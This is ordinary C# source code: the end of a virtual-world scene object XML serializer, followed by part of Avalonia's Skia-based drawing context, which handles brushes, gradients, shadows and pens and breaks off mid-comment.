shp.PathShearY.ToString()); writer.WriteElementString("PathSkew", shp.PathSkew.ToString()); writer.WriteElementString("PathTaperX", shp.PathTaperX.ToString()); writer.WriteElementString("PathTaperY", shp.PathTaperY.ToString()); writer.WriteElementString("PathTwist", shp.PathTwist.ToString()); writer.WriteElementString("PathTwistBegin", shp.PathTwistBegin.ToString()); writer.WriteElementString("PCode", shp.PCode.ToString()); writer.WriteElementString("ProfileBegin", shp.ProfileBegin.ToString()); writer.WriteElementString("ProfileEnd", shp.ProfileEnd.ToString()); writer.WriteElementString("ProfileHollow", shp.ProfileHollow.ToString()); writer.WriteElementString("State", shp.State.ToString()); WriteFlags(writer, "ProfileShape", shp.ProfileShape.ToString(), options); WriteFlags(writer, "HollowShape", shp.HollowShape.ToString(), options); WriteUUID(writer, "SculptTexture", shp.SculptTexture, options); writer.WriteElementString("SculptType", shp.SculptType.ToString()); writer.WriteStartElement("SculptData"); byte[] sd; if (shp.SculptData != null) sd = shp.SculptData; else sd = Utils.EmptyBytes; writer.WriteBase64(sd, 0, sd.Length); writer.WriteEndElement(); // SculptData writer.WriteElementString("FlexiSoftness", shp.FlexiSoftness.ToString()); writer.WriteElementString("FlexiTension", shp.FlexiTension.ToString()); writer.WriteElementString("FlexiDrag", shp.FlexiDrag.ToString()); writer.WriteElementString("FlexiGravity", shp.FlexiGravity.ToString()); writer.WriteElementString("FlexiWind", shp.FlexiWind.ToString()); writer.WriteElementString("FlexiForceX", shp.FlexiForceX.ToString()); writer.WriteElementString("FlexiForceY", shp.FlexiForceY.ToString()); writer.WriteElementString("FlexiForceZ", shp.FlexiForceZ.ToString()); writer.WriteElementString("LightColorR", shp.LightColorR.ToString()); writer.WriteElementString("LightColorG", shp.LightColorG.ToString()); writer.WriteElementString("LightColorB", shp.LightColorB.ToString()); writer.WriteElementString("LightColorA", shp.LightColorA.ToString()); writer.WriteElementString("LightRadius", shp.LightRadius.ToString()); writer.WriteElementString("LightCutoff", shp.LightCutoff.ToString()); writer.WriteElementString("LightFalloff", shp.LightFalloff.ToString()); writer.WriteElementString("LightIntensity", shp.LightIntensity.ToString()); writer.WriteElementString("FlexiEntry", shp.FlexiEntry.ToString().ToLower()); writer.WriteElementString("LightEntry", shp.LightEntry.ToString().ToLower()); writer.WriteElementString("SculptEntry", shp.SculptEntry.ToString().ToLower()); if (shp.Media != null) writer.WriteElementString("Media", shp.Media.ToXml()); writer.WriteEndElement(); // Shape } } //////// Read ///////// public static bool Xml2ToSOG(XmlTextReader reader, SceneObjectGroup sog) { reader.Read(); reader.ReadStartElement("SceneObjectGroup"); SceneObjectPart root = Xml2ToSOP(reader); if (root != null) sog.SetRootPart(root); else { return false; } if (sog.UUID == UUID.Zero) sog.UUID = sog.RootPart.UUID; reader.Read(); // OtherParts while (!reader.EOF) { switch (reader.NodeType) { case XmlNodeType.Element: if (reader.Name == "SceneObjectPart") { SceneObjectPart child = Xml2ToSOP(reader); if (child != null) sog.AddPart(child); } else { //Logger.Log("Found unexpected prim XML element " + reader.Name, Helpers.LogLevel.Debug); reader.Read(); } break; case XmlNodeType.EndElement: default: reader.Read(); break; } } return true; } public static SceneObjectPart Xml2ToSOP(XmlTextReader reader) { SceneObjectPart obj = new SceneObjectPart(); reader.ReadStartElement("SceneObjectPart"); string nodeName = string.Empty; while (reader.NodeType != XmlNodeType.EndElement) { nodeName = reader.Name; SOPXmlProcessor p = null; if (m_SOPXmlProcessors.TryGetValue(reader.Name, out p)) { //m_log.DebugFormat("[XXX] Processing: {0}", reader.Name); try { p(obj, reader); } catch (Exception e) { m_log.DebugFormat("[SceneObjectSerializer]: exception while parsing {0}: {1}", nodeName, e); if (reader.NodeType == XmlNodeType.EndElement) reader.Read(); } } else { // m_log.DebugFormat("[SceneObjectSerializer]: caught unknown element {0}", nodeName); reader.ReadOuterXml(); // ignore } } reader.ReadEndElement(); // SceneObjectPart //m_log.DebugFormat("[XXX]: parsed SOP {0} - {1}", obj.Name, obj.UUID); return obj; } static TaskInventoryDictionary ReadTaskInventory(XmlTextReader reader, string name) { TaskInventoryDictionary tinv = new TaskInventoryDictionary(); if (reader.IsEmptyElement) { reader.Read(); return tinv; } reader.ReadStartElement(name, String.Empty); while (reader.Name == "TaskInventoryItem") { reader.ReadStartElement("TaskInventoryItem", String.Empty); // TaskInventory TaskInventoryItem item = new TaskInventoryItem(); while (reader.NodeType != XmlNodeType.EndElement) { TaskInventoryXmlProcessor p = null; if (m_TaskInventoryXmlProcessors.TryGetValue(reader.Name, out p)) p(item, reader); else { // m_log.DebugFormat("[SceneObjectSerializer]: caught unknown element in TaskInventory {0}, {1}", reader.Name, reader.Value); reader.ReadOuterXml(); } } reader.ReadEndElement(); // TaskInventoryItem tinv.Add(item.ItemID, item); } if (reader.NodeType == XmlNodeType.EndElement) reader.ReadEndElement(); // TaskInventory return tinv; } static PrimitiveBaseShape ReadShape(XmlTextReader reader, string name) { PrimitiveBaseShape shape = new PrimitiveBaseShape(); if (reader.IsEmptyElement) { reader.Read(); return shape; } reader.ReadStartElement(name, String.Empty); // Shape string nodeName = string.Empty; while (reader.NodeType != XmlNodeType.EndElement) { nodeName = reader.Name; //m_log.DebugFormat("[XXX] Processing: {0}", reader.Name); ShapeXmlProcessor p = null; if (m_ShapeXmlProcessors.TryGetValue(reader.Name, out p)) { try { p(shape, reader); } catch (Exception e) { m_log.DebugFormat("[SceneObjectSerializer]: exception while parsing Shape {0}: {1}", nodeName, e); if (reader.NodeType == XmlNodeType.EndElement) reader.Read(); } } else { // m_log.DebugFormat("[SceneObjectSerializer]: caught unknown element in Shape {0}", reader.Name); reader.ReadOuterXml(); } } reader.ReadEndElement(); // Shape return shape; } #endregion } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading; using Avalonia.Media; using Avalonia.Platform; using Avalonia.Rendering; using Avalonia.Rendering.SceneGraph; using Avalonia.Rendering.Utilities; using Avalonia.Utilities; using Avalonia.Visuals.Media.Imaging; using SkiaSharp; namespace Avalonia.Skia { /// <summary> /// Skia based drawing context. /// </summary> internal class DrawingContextImpl : IDrawingContextImpl, ISkiaDrawingContextImpl, IDrawingContextWithAcrylicLikeSupport { private IDisposable[] _disposables; private readonly Vector _dpi; private readonly Stack<PaintWrapper> _maskStack = new Stack<PaintWrapper>(); private readonly Stack<double> _opacityStack = new Stack<double>(); private readonly Stack<BitmapBlendingMode> _blendingModeStack = new Stack<BitmapBlendingMode>(); private readonly Matrix? _postTransform; private readonly IVisualBrushRenderer _visualBrushRenderer; private double _currentOpacity = 1.0f; private BitmapBlendingMode _currentBlendingMode = BitmapBlendingMode.SourceOver; private readonly bool _canTextUseLcdRendering; private Matrix _currentTransform; private bool _disposed; private GRContext _grContext; public GRContext GrContext => _grContext; private ISkiaGpu _gpu; private readonly SKPaint _strokePaint = new SKPaint(); private readonly SKPaint _fillPaint = new SKPaint(); private readonly SKPaint _boxShadowPaint = new SKPaint(); private static SKShader s_acrylicNoiseShader; private readonly ISkiaGpuRenderSession _session; /// <summary> /// Context create info. /// </summary> public struct CreateInfo { /// <summary> /// Canvas to draw to. /// </summary> public SKCanvas Canvas; /// <summary> /// Surface to draw to. /// </summary> public SKSurface Surface; /// <summary> /// Dpi of drawings. /// </summary> public Vector Dpi; /// <summary> /// Visual brush renderer. /// </summary> public IVisualBrushRenderer VisualBrushRenderer; /// <summary> /// Render text without Lcd rendering. /// </summary> public bool DisableTextLcdRendering; /// <summary> /// GPU-accelerated context (optional) /// </summary> public GRContext GrContext; /// <summary> /// Skia GPU provider context (optional) /// </summary> public ISkiaGpu Gpu; public ISkiaGpuRenderSession CurrentSession; } /// <summary> /// Create new drawing context. /// </summary> /// <param name="createInfo">Create info.</param> /// <param name="disposables">Array of elements to dispose after drawing has finished.</param> public DrawingContextImpl(CreateInfo createInfo, params IDisposable[] disposables) { _dpi = createInfo.Dpi; _visualBrushRenderer = createInfo.VisualBrushRenderer; _disposables = disposables; _canTextUseLcdRendering = !createInfo.DisableTextLcdRendering; _grContext = createInfo.GrContext; _gpu = createInfo.Gpu; if (_grContext != null) Monitor.Enter(_grContext); Surface = createInfo.Surface; Canvas = createInfo.Canvas ?? createInfo.Surface?.Canvas; _session = createInfo.CurrentSession; if (Canvas == null) { throw new ArgumentException("Invalid create info - no Canvas provided", nameof(createInfo)); } if (!_dpi.NearlyEquals(SkiaPlatform.DefaultDpi)) { _postTransform = Matrix.CreateScale(_dpi.X / SkiaPlatform.DefaultDpi.X, _dpi.Y / SkiaPlatform.DefaultDpi.Y); } Transform = Matrix.Identity; } /// <summary> /// Skia canvas. /// </summary> public SKCanvas Canvas { get; } public SKSurface Surface { get; } SKCanvas ISkiaDrawingContextImpl.SkCanvas => Canvas; SKSurface ISkiaDrawingContextImpl.SkSurface => Surface; GRContext ISkiaDrawingContextImpl.GrContext => _grContext; /// <inheritdoc /> public void Clear(Color color) { Canvas.Clear(color.ToSKColor()); } /// <inheritdoc /> public void DrawBitmap(IRef<IBitmapImpl> source, double opacity, Rect sourceRect, Rect destRect, BitmapInterpolationMode bitmapInterpolationMode) { var drawableImage = (IDrawableBitmapImpl)source.Item; var s = sourceRect.ToSKRect(); var d = destRect.ToSKRect(); using (var paint = new SKPaint { Color = new SKColor(255, 255, 255, (byte)(255 * opacity * _currentOpacity)) }) { paint.FilterQuality = bitmapInterpolationMode.ToSKFilterQuality(); paint.BlendMode = _currentBlendingMode.ToSKBlendMode(); drawableImage.Draw(this, s, d, paint); } } /// <inheritdoc /> public void DrawBitmap(IRef<IBitmapImpl> source, IBrush opacityMask, Rect opacityMaskRect, Rect destRect) { PushOpacityMask(opacityMask, opacityMaskRect); DrawBitmap(source, 1, new Rect(0, 0, source.Item.PixelSize.Width, source.Item.PixelSize.Height), destRect, BitmapInterpolationMode.Default); PopOpacityMask(); } /// <inheritdoc /> public void DrawLine(IPen pen, Point p1, Point p2) { using (var paint = CreatePaint(_strokePaint, pen, new Rect(p1, p2).Normalize())) { if (paint.Paint is object) { Canvas.DrawLine((float)p1.X, (float)p1.Y, (float)p2.X, (float)p2.Y, paint.Paint); } } } /// <inheritdoc /> public void DrawGeometry(IBrush brush, IPen pen, IGeometryImpl geometry) { var impl = (GeometryImpl) geometry; var rect = geometry.Bounds; using (var fill = brush != null ? CreatePaint(_fillPaint, brush, rect) : default(PaintWrapper)) using (var stroke = pen?.Brush != null ? CreatePaint(_strokePaint, pen, rect) : default(PaintWrapper)) { if (fill.Paint != null) { Canvas.DrawPath(impl.EffectivePath, fill.Paint); } if (stroke.Paint != null) { Canvas.DrawPath(impl.EffectivePath, stroke.Paint); } } } struct BoxShadowFilter : IDisposable { public SKPaint Paint; private SKImageFilter _filter; public SKClipOperation ClipOperation; static float SkBlurRadiusToSigma(double radius) { if (radius <= 0) return 0.0f; return 0.288675f * (float)radius + 0.5f; } public static BoxShadowFilter Create(SKPaint paint, BoxShadow shadow, double opacity) { var ac = shadow.Color; SKImageFilter filter = null; filter = SKImageFilter.CreateBlur(SkBlurRadiusToSigma(shadow.Blur), SkBlurRadiusToSigma(shadow.Blur)); var color = new SKColor(ac.R, ac.G, ac.B, (byte)(ac.A * opacity)); paint.Reset(); paint.IsAntialias = true; paint.Color = color; paint.ImageFilter = filter; return new BoxShadowFilter { Paint = paint, _filter = filter, ClipOperation = shadow.IsInset ? SKClipOperation.Intersect : SKClipOperation.Difference }; } public void Dispose() { Paint.Reset(); Paint = null; _filter?.Dispose(); } } SKRect AreaCastingShadowInHole( SKRect hole_rect, float shadow_blur, float shadow_spread, float offsetX, float offsetY) { // Adapted from Chromium var bounds = hole_rect; bounds.Inflate(shadow_blur, shadow_blur); if (shadow_spread < 0) bounds.Inflate(-shadow_spread, -shadow_spread); var offset_bounds = bounds; offset_bounds.Offset(-offsetX, -offsetY); bounds.Union(offset_bounds); return bounds; } /// <inheritdoc /> public void DrawRectangle(IExperimentalAcrylicMaterial material, RoundedRect rect) { if (rect.Rect.Height <= 0 || rect.Rect.Width <= 0) return; var rc = rect.Rect.ToSKRect(); var isRounded = rect.IsRounded; var needRoundRect = rect.IsRounded; using var skRoundRect = needRoundRect ? new SKRoundRect() : null; if (needRoundRect) skRoundRect.SetRectRadii(rc, new[] { rect.RadiiTopLeft.ToSKPoint(), rect.RadiiTopRight.ToSKPoint(), rect.RadiiBottomRight.ToSKPoint(), rect.RadiiBottomLeft.ToSKPoint(), }); if (material != null) { using (var paint = CreateAcrylicPaint(_fillPaint, material)) { if (isRounded) { Canvas.DrawRoundRect(skRoundRect, paint.Paint); } else { Canvas.DrawRect(rc, paint.Paint); } } } } /// <inheritdoc /> public void DrawRectangle(IBrush brush, IPen pen, RoundedRect rect, BoxShadows boxShadows = default) { if (rect.Rect.Height <= 0 || rect.Rect.Width <= 0) return; // Arbitrary chosen values // On OSX Skia breaks OpenGL context when asked to draw, e. g. (0, 0, 623, 6666600) rect if (rect.Rect.Height > 8192 || rect.Rect.Width > 8192) boxShadows = default; var rc = rect.Rect.ToSKRect(); var isRounded = rect.IsRounded; var needRoundRect = rect.IsRounded || (boxShadows.HasInsetShadows); using var skRoundRect = needRoundRect ? new SKRoundRect() : null; if (needRoundRect) skRoundRect.SetRectRadii(rc, new[] { rect.RadiiTopLeft.ToSKPoint(), rect.RadiiTopRight.ToSKPoint(), rect.RadiiBottomRight.ToSKPoint(), rect.RadiiBottomLeft.ToSKPoint(), }); foreach (var boxShadow in boxShadows) { if (!boxShadow.IsEmpty && !boxShadow.IsInset) { using (var shadow = BoxShadowFilter.Create(_boxShadowPaint, boxShadow, _currentOpacity)) { var spread = (float)boxShadow.Spread; if (boxShadow.IsInset) spread = -spread; Canvas.Save(); if (isRounded) { using var shadowRect = new SKRoundRect(skRoundRect); if (spread != 0) shadowRect.Inflate(spread, spread); Canvas.ClipRoundRect(skRoundRect, shadow.ClipOperation, true); var oldTransform = Transform; Transform = oldTransform * Matrix.CreateTranslation(boxShadow.OffsetX, boxShadow.OffsetY); Canvas.DrawRoundRect(shadowRect, shadow.Paint); Transform = oldTransform; } else { var shadowRect = rc; if (spread != 0) shadowRect.Inflate(spread, spread); Canvas.ClipRect(rc, shadow.ClipOperation); var oldTransform = Transform; Transform = oldTransform * Matrix.CreateTranslation(boxShadow.OffsetX, boxShadow.OffsetY); Canvas.DrawRect(shadowRect, shadow.Paint); Transform = oldTransform; } Canvas.Restore(); } } } if (brush != null) { using (var paint = CreatePaint(_fillPaint, brush, rect.Rect)) { if (isRounded) { Canvas.DrawRoundRect(skRoundRect, paint.Paint); } else { Canvas.DrawRect(rc, paint.Paint); } } } foreach (var boxShadow in boxShadows) { if (!boxShadow.IsEmpty && boxShadow.IsInset) { using (var shadow = BoxShadowFilter.Create(_boxShadowPaint, boxShadow, _currentOpacity)) { var spread = (float)boxShadow.Spread; var offsetX = (float)boxShadow.OffsetX; var offsetY = (float)boxShadow.OffsetY; var outerRect = AreaCastingShadowInHole(rc, (float)boxShadow.Blur, spread, offsetX, offsetY); Canvas.Save(); using var shadowRect = new SKRoundRect(skRoundRect); if (spread != 0) shadowRect.Deflate(spread, spread); Canvas.ClipRoundRect(skRoundRect, shadow.ClipOperation, true); var oldTransform = Transform; Transform = oldTransform * Matrix.CreateTranslation(boxShadow.OffsetX, boxShadow.OffsetY); using (var outerRRect = new SKRoundRect(outerRect)) Canvas.DrawRoundRectDifference(outerRRect, shadowRect, shadow.Paint); Transform = oldTransform; Canvas.Restore(); } } } if (pen?.Brush != null) { using (var paint = CreatePaint(_strokePaint, pen, rect.Rect)) { if (paint.Paint is object) { if (isRounded) { Canvas.DrawRoundRect(skRoundRect, paint.Paint); } else { Canvas.DrawRect(rc, paint.Paint); } } } } } /// <inheritdoc /> public void DrawText(IBrush foreground, Point origin, IFormattedTextImpl text) { using (var paint = CreatePaint(_fillPaint, foreground, text.Bounds)) { var textImpl = (FormattedTextImpl) text; textImpl.Draw(this, Canvas, origin.ToSKPoint(), paint, _canTextUseLcdRendering); } } /// <inheritdoc /> public void DrawGlyphRun(IBrush foreground, GlyphRun glyphRun) { using (var paintWrapper = CreatePaint(_fillPaint, foreground, new Rect(glyphRun.Size))) { var glyphRunImpl = (GlyphRunImpl)glyphRun.GlyphRunImpl; ConfigureTextRendering(paintWrapper); Canvas.DrawText(glyphRunImpl.TextBlob, (float)glyphRun.BaselineOrigin.X, (float)glyphRun.BaselineOrigin.Y, paintWrapper.Paint); } } /// <inheritdoc /> public IDrawingContextLayerImpl CreateLayer(Size size) { return CreateRenderTarget(size, true); } /// <inheritdoc /> public void PushClip(Rect clip) { Canvas.Save(); Canvas.ClipRect(clip.ToSKRect()); } public void PushClip(RoundedRect clip) { Canvas.Save(); Canvas.ClipRoundRect(clip.ToSKRoundRect()); } /// <inheritdoc /> public void PopClip() { Canvas.Restore(); } /// <inheritdoc /> public void PushOpacity(double opacity) { _opacityStack.Push(_currentOpacity); _currentOpacity *= opacity; } /// <inheritdoc /> public void PopOpacity() { _currentOpacity = _opacityStack.Pop(); } /// <inheritdoc /> public virtual void Dispose() { if(_disposed) return; try { if (_grContext != null) { Monitor.Exit(_grContext); _grContext = null; } if (_disposables != null) { foreach (var disposable in _disposables) disposable?.Dispose(); _disposables = null; } } finally { _disposed = true; } } /// <inheritdoc /> public void PushGeometryClip(IGeometryImpl clip) { Canvas.Save(); Canvas.ClipPath(((GeometryImpl)clip).EffectivePath, SKClipOperation.Intersect, true); } /// <inheritdoc /> public void PopGeometryClip() { Canvas.Restore(); } /// <inheritdoc /> public void PushBitmapBlendMode(BitmapBlendingMode blendingMode) { _blendingModeStack.Push(_currentBlendingMode); _currentBlendingMode = blendingMode; } /// <inheritdoc /> public void PopBitmapBlendMode() { _currentBlendingMode = _blendingModeStack.Pop(); } public void Custom(ICustomDrawOperation custom) => custom.Render(this); /// <inheritdoc /> public void PushOpacityMask(IBrush mask, Rect bounds) { // TODO: This should be disposed var paint = new SKPaint(); Canvas.SaveLayer(paint); _maskStack.Push(CreatePaint(paint, mask, bounds, true)); } /// <inheritdoc /> public void PopOpacityMask() { using (var paint = new SKPaint { BlendMode = SKBlendMode.DstIn }) { Canvas.SaveLayer(paint); using (var paintWrapper = _maskStack.Pop()) { Canvas.DrawPaint(paintWrapper.Paint); } Canvas.Restore(); } Canvas.Restore(); } /// <inheritdoc /> public Matrix Transform { get { return _currentTransform; } set { if (_currentTransform == value) return; _currentTransform = value; var transform = value; if (_postTransform.HasValue) { transform *= _postTransform.Value; } Canvas.SetMatrix(transform.ToSKMatrix()); } } internal void ConfigureTextRendering(PaintWrapper wrapper) { var paint = wrapper.Paint; paint.IsEmbeddedBitmapText = true; paint.SubpixelText = true; paint.LcdRenderText = _canTextUseLcdRendering; } /// <summary> /// Configure paint wrapper for using gradient brush. /// </summary> /// <param name="paintWrapper">Paint wrapper.</param> /// <param name="targetRect">Target bound rect.</param> /// <param name="gradientBrush">Gradient brush.</param> private void ConfigureGradientBrush(ref PaintWrapper paintWrapper, Rect targetRect, IGradientBrush gradientBrush) { var tileMode = gradientBrush.SpreadMethod.ToSKShaderTileMode(); var stopColors = gradientBrush.GradientStops.Select(s => s.Color.ToSKColor()).ToArray(); var stopOffsets = gradientBrush.GradientStops.Select(s => (float)s.Offset).ToArray(); var position = targetRect.Position.ToSKPoint(); switch (gradientBrush) { case ILinearGradientBrush linearGradient: { var start = position + linearGradient.StartPoint.ToPixels(targetRect.Size).ToSKPoint(); var end = position + linearGradient.EndPoint.ToPixels(targetRect.Size).ToSKPoint(); // would be nice to cache these shaders possibly? using (var shader = SKShader.CreateLinearGradient(start, end, stopColors, stopOffsets, tileMode)) { paintWrapper.Paint.Shader = shader; } break; } case IRadialGradientBrush radialGradient: { var center = position + radialGradient.Center.ToPixels(targetRect.Size).ToSKPoint(); var radius = (float)(radialGradient.Radius * targetRect.Width); var origin = position + radialGradient.GradientOrigin.ToPixels(targetRect.Size).ToSKPoint(); if (origin.Equals(center)) { // when the origin is the same as the center the Skia RadialGradient acts the same as D2D using (var shader = SKShader.CreateRadialGradient(center, radius, stopColors, stopOffsets, tileMode)) { paintWrapper.Paint.Shader = shader; } } else { // when the origin is different to the center use a two point ConicalGradient to match the behaviour of D2D // reverse the order of the stops to match D2D var reversedColors = new SKColor[stopColors.Length]; Array.Copy(stopColors, reversedColors, stopColors.Length); Array.Reverse(reversedColors); // and then reverse the reference point of the stops var reversedStops = new float[stopOffsets.Length]; for (var i = 0; i < stopOffsets.Length; i++) { reversedStops[i] = stopOffsets[i]; if (reversedStops[i] > 0 && reversedStops[i] < 1) { reversedStops[i] = Math.Abs(1 - stopOffsets[i]); } } // compose with a background colour of the final stop to match D2D's behaviour of filling with the final color using (var shader = SKShader.CreateCompose( SKShader.CreateColor(reversedColors[0]), SKShader.CreateTwoPointConicalGradient(center, radius, origin, 0, reversedColors, reversedStops, tileMode) )) { paintWrapper.Paint.Shader = shader; } } break; } case IConicGradientBrush conicGradient: { var center = position + conicGradient.Center.ToPixels(targetRect.Size).ToSKPoint(); // Skia's default is that angle 0 is from the right hand side of the center point // but we are matching CSS where the vertical point above the center is 0. var angle = (float)(conicGradient.Angle - 90); var rotation = SKMatrix.CreateRotationDegrees(angle, center.X, center.Y); using (var shader = SKShader.CreateSweepGradient(center, stopColors, stopOffsets, rotation)) { paintWrapper.Paint.Shader = shader; } break; } } } /// <summary> /// Configure paint wrapper for using tile brush. /// </summary> /// <param name="paintWrapper">Paint wrapper.</param> /// <param name="targetSize">Target size.</param> /// <param name="tileBrush">Tile brush to use.</param> /// <param name="tileBrushImage">Tile brush image.</param> private void ConfigureTileBrush(ref PaintWrapper paintWrapper, Size targetSize, ITileBrush tileBrush, IDrawableBitmapImpl tileBrushImage) { var calc = new TileBrushCalculator(tileBrush, tileBrushImage.PixelSize.ToSizeWithDpi(_dpi), targetSize); var intermediate = CreateRenderTarget(calc.IntermediateSize, false); paintWrapper.AddDisposable(intermediate); using (var context = intermediate.CreateDrawingContext(null)) { var sourceRect = new Rect(tileBrushImage.PixelSize.ToSizeWithDpi(96)); var targetRect = new Rect(tileBrushImage.PixelSize.ToSizeWithDpi(_dpi)); context.Clear(Colors.Transparent); context.PushClip(calc.IntermediateClip); context.Transform = calc.IntermediateTransform; context.DrawBitmap( RefCountable.CreateUnownedNotClonable(tileBrushImage), 1, sourceRect, targetRect, tileBrush.BitmapInterpolationMode); context.PopClip(); } var tileTransform = tileBrush.TileMode != TileMode.None ? SKMatrix.CreateTranslation(-(float)calc.DestinationRect.X, -(float)calc.DestinationRect.Y) : SKMatrix.CreateIdentity(); SKShaderTileMode tileX = tileBrush.TileMode == TileMode.None ? SKShaderTileMode.Clamp : tileBrush.TileMode == TileMode.FlipX || tileBrush.TileMode == TileMode.FlipXY ? SKShaderTileMode.Mirror : SKShaderTileMode.Repeat; SKShaderTileMode tileY = tileBrush.TileMode == TileMode.None ? SKShaderTileMode.Clamp : tileBrush.TileMode == TileMode.FlipY || tileBrush.TileMode == TileMode.FlipXY ? SKShaderTileMode.Mirror : SKShaderTileMode.Repeat; var image = intermediate.SnapshotImage(); paintWrapper.AddDisposable(image); var paintTransform = default(SKMatrix); SKMatrix.Concat( ref paintTransform, tileTransform, SKMatrix.CreateScale((float)(96.0 / _dpi.X), (float)(96.0 / _dpi.Y))); using (var shader = image.ToShader(tileX, tileY, paintTransform)) { paintWrapper.Paint.Shader = shader; } } /// <summary> /// Configure paint wrapper to use visual brush. /// </summary> /// <param name="paintWrapper">Paint wrapper.</param> /// <param name="visualBrush">Visual brush.</param> /// <param name="visualBrushRenderer">Visual brush renderer.</param> /// <param name="tileBrushImage">Tile brush image.</param> private void ConfigureVisualBrush(ref PaintWrapper paintWrapper, IVisualBrush visualBrush, IVisualBrushRenderer visualBrushRenderer, ref IDrawableBitmapImpl tileBrushImage) { if (_visualBrushRenderer == null) { throw new NotSupportedException("No IVisualBrushRenderer was supplied to DrawingContextImpl."); } var intermediateSize = visualBrushRenderer.GetRenderTargetSize(visualBrush); if (intermediateSize.Width >= 1 && intermediateSize.Height >= 1) { var intermediate = CreateRenderTarget(intermediateSize, false); using (var ctx = intermediate.CreateDrawingContext(visualBrushRenderer)) { ctx.Clear(Colors.Transparent); visualBrushRenderer.RenderVisualBrush(ctx, visualBrush); } tileBrushImage = intermediate; paintWrapper.AddDisposable(tileBrushImage); } } static SKColorFilter CreateAlphaColorFilter(double opacity) { if (opacity > 1) opacity = 1; var c = new byte[256]; var a = new byte[256]; for (var i = 0; i < 256; i++) { c[i] = (byte)i; a[i] = (byte)(i * opacity); } return SKColorFilter.CreateTable(a, c, c, c); } static byte Blend(byte leftColor, byte leftAlpha, byte rightColor, byte rightAlpha) { var ca = leftColor / 255d; var aa = leftAlpha / 255d; var cb = rightColor / 255d; var ab = rightAlpha / 255d; var r = (ca * aa + cb * ab * (1 - aa)) / (aa + ab * (1 - aa)); return (byte)(r * 255); } static Color Blend(Color left, Color right) { var aa = left.A / 255d; var ab = right.A / 255d; return new Color( (byte)((aa + ab * (1 - aa)) * 255), Blend(left.R, left.A, right.R, right.A), Blend(left.G, left.A, right.G, right.A), Blend(left.B, left.A, right.B, right.A) ); } internal PaintWrapper CreateAcrylicPaint (SKPaint paint, IExperimentalAcrylicMaterial material, bool disposePaint = false) { var paintWrapper = new PaintWrapper(paint, disposePaint); paint.IsAntialias = true; double opacity = _currentOpacity; var tintOpacity = material.BackgroundSource == AcrylicBackgroundSource.Digger ? material.TintOpacity : 1; const double noiseOpcity = 0.0225; var tintColor = material.TintColor; var tint = new SKColor(tintColor.R, tintColor.G, tintColor.B, tintColor.A); if (s_acrylicNoiseShader == null) { using (var stream = typeof(DrawingContextImpl).Assembly.GetManifestResourceStream("Avalonia.Skia.Assets.NoiseAsset_256X256_PNG.png")) using (var bitmap = SKBitmap.Decode(stream)) { s_acrylicNoiseShader = SKShader.CreateBitmap(bitmap, SKShaderTileMode.Repeat, SKShaderTileMode.Repeat) .WithColorFilter(CreateAlphaColorFilter(noiseOpcity)); } } using (var backdrop = SKShader.CreateColor(new SKColor(material.MaterialColor.R, material.MaterialColor.G, material.MaterialColor.B, material.MaterialColor.A))) using (var tintShader = SKShader.CreateColor(tint)) using (var effectiveTint = SKShader.CreateCompose(backdrop, tintShader)) using (var compose = SKShader.CreateCompose(effectiveTint, s_acrylicNoiseShader)) { paint.Shader = compose; if (material.BackgroundSource == AcrylicBackgroundSource.Digger) { paint.BlendMode = SKBlendMode.Src; } return paintWrapper; } } /// <summary> /// Creates paint wrapper for given brush. /// </summary> /// <param name="paint">The paint to wrap.</param> /// <param name="brush">Source brush.</param> /// <param name="targetRect">Target rect.</param> /// <param name="disposePaint">Optional dispose of the supplied paint.</param> /// <returns>Paint wrapper for given brush.</returns> internal PaintWrapper CreatePaint(SKPaint paint, IBrush brush, Rect targetRect, bool disposePaint = false) { var paintWrapper = new PaintWrapper(paint, disposePaint); paint.IsAntialias = true; double opacity = brush.Opacity * _currentOpacity; if (brush is ISolidColorBrush solid) { paint.Color = new SKColor(solid.Color.R, solid.Color.G, solid.Color.B, (byte) (solid.Color.A * opacity)); return paintWrapper; } paint.Color = new SKColor(255, 255, 255, (byte) (255 * opacity)); if (brush is IGradientBrush gradient) { ConfigureGradientBrush(ref paintWrapper, targetRect, gradient); return paintWrapper; } var tileBrush = brush as ITileBrush; var visualBrush = brush as IVisualBrush; var tileBrushImage = default(IDrawableBitmapImpl); if (visualBrush != null) { ConfigureVisualBrush(ref paintWrapper, visualBrush, _visualBrushRenderer, ref tileBrushImage); } else { tileBrushImage = (IDrawableBitmapImpl)(tileBrush as IImageBrush)?.Source?.PlatformImpl.Item; } if (tileBrush != null && tileBrushImage != null) { ConfigureTileBrush(ref paintWrapper, targetRect.Size, tileBrush, tileBrushImage); } else { paint.Color = new SKColor(255, 255, 255, 0); } return paintWrapper; } /// <summary> /// Creates paint wrapper for given pen. /// </summary> /// <param name="paint">The paint to wrap.</param> /// <param name="pen">Source pen.</param> /// <param name="targetRect">Target rect.</param> /// <param name="disposePaint">Optional dispose of the supplied paint.</param> /// <returns></returns> private PaintWrapper CreatePaint(SKPaint paint, IPen pen, Rect targetRect, bool disposePaint = false) { // In Skia 0 thickness means - use hairline rendering // and for us it means - there is nothing rendered. if (pen.Thickness == 0d) { return default; } var rv = CreatePaint(paint, pen.Brush, targetRect, disposePaint); paint.IsStroke = true; paint.StrokeWidth = (float) pen.Thickness; // Need to modify dashes due to Skia modifying their lengths // https://docs.microsoft.com/en-us/xamarin/xamarin-forms/user-interface/graphics/skiasharp/paths/dots // TODO: Still something is off, dashes are now present, but don't look the same as D2D ones. switch (pen.LineCap) { case PenLineCap.Round: paint.StrokeCap = SKStrokeCap.Round; break; case PenLineCap.Square: paint.StrokeCap = SKStrokeCap.Square; break; default: paint.StrokeCap = SKStrokeCap.Butt; break; } switch (pen.LineJoin) { case PenLineJoin.Miter: paint.StrokeJoin = SKStrokeJoin.Miter; break; case PenLineJoin.Round: paint.StrokeJoin = SKStrokeJoin.Round; break; default: paint.StrokeJoin = SKStrokeJoin.Bevel; break; } paint.StrokeMiter = (float) pen.MiterLimit; if (pen.DashStyle?.Dashes != null && pen.DashStyle.Dashes.Count > 0) { var srcDashes = pen.DashStyle.Dashes; var dashesArray = new float[srcDashes.Count]; for (var i = 0; i < srcDashes.Count; ++i) { dashesArray[i] = (float) srcDashes[i] * paint.StrokeWidth; } var offset = (float)(pen.DashStyle.Offset * pen.Thickness); var pe = SKPathEffect.CreateDash(dashesArray, offset); paint.PathEffect = pe; rv.AddDisposable(pe); } return rv; } /// <summary> /// Create new render target compatible with this drawing context. /// </summary> /// <param name="size">The size of the render target in DIPs.</param> /// <param name="isLayer">Whether the render target is being created for a layer.</param> /// <param name="format">Pixel format.</param> /// 